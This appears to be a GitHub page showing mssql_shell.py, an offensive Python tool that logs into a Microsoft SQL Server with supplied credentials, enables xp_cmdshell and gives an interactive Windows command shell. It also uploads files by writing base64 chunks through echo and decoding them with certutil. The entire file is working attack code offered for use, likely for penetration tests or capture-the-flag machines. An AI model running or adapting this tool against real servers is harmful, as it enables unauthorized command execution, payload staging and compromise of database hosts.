-
Notifications
You must be signed in to change notification settings - Fork 109
/
mssql_shell.py
118 lines (101 loc) · 4.27 KB
/
mssql_shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
try:
import _mssql
except:
from pymssql import _mssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass
MSSQL_SERVER="10.10.10.10"
MSSQL_USERNAME = "Domain\\sa_user"
MSSQL_PASSWORD = "**********"
BUFFER_SIZE = 5*1024
TIMEOUT = 30
def process_result(mssql):
username = ""
computername = ""
cwd = ""
rows = list(mssql)
for row in rows[:-3]:
columns = list(row)
if row[columns[-1]]:
print(row[columns[-1]])
else:
print()
if len(rows) >= 3:
(username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
cwd = rows[-2][list(rows[-3])[-1]]
return (username.rstrip(), computername.rstrip(), cwd.rstrip())
def upload(mssql, stored_cwd, local_path, remote_path):
print("Uploading "+local_path+" to "+remote_path)
cmd = 'type nul > "' + remote_path + '.b64"'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
with open(local_path, 'rb') as f:
data = f.read()
md5sum = hashlib.md5(data).hexdigest()
b64enc_data = b"".join(base64.encodestring(data).split()).decode()
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
#print("Remaining: "+str(len(b64enc_data)-i))
cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
process_result(mssql)
cmd = 'certutil -hashfile "' + remote_path + '" MD5'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
print("MD5 hashes match: " + md5sum)
else:
print("ERROR! MD5 hashes do NOT match!")
def shell():
mssql = None
stored_cwd = None
try:
mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)
print("Trying to enable xp_cmdshell ...")
mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")
cmd = 'echo %username%^|%COMPUTERNAME% & cd'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd
while True:
cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
if not cmd:
cmd = "call" # Dummy cmd command
if cmd.lower()[0:4] == "exit":
mssql.close()
return
elif cmd[0:6] == "UPLOAD":
upload_cmd = shlex.split(cmd, posix=False)
if len(upload_cmd) < 3:
upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
else:
upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd
except _mssql.MssqlDatabaseException as e:
if e.severity <= 16:
print("MSSQL failed: "+str(e))
else:
raise
finally:
if mssql:
mssql.close()
shell()
sys.exit()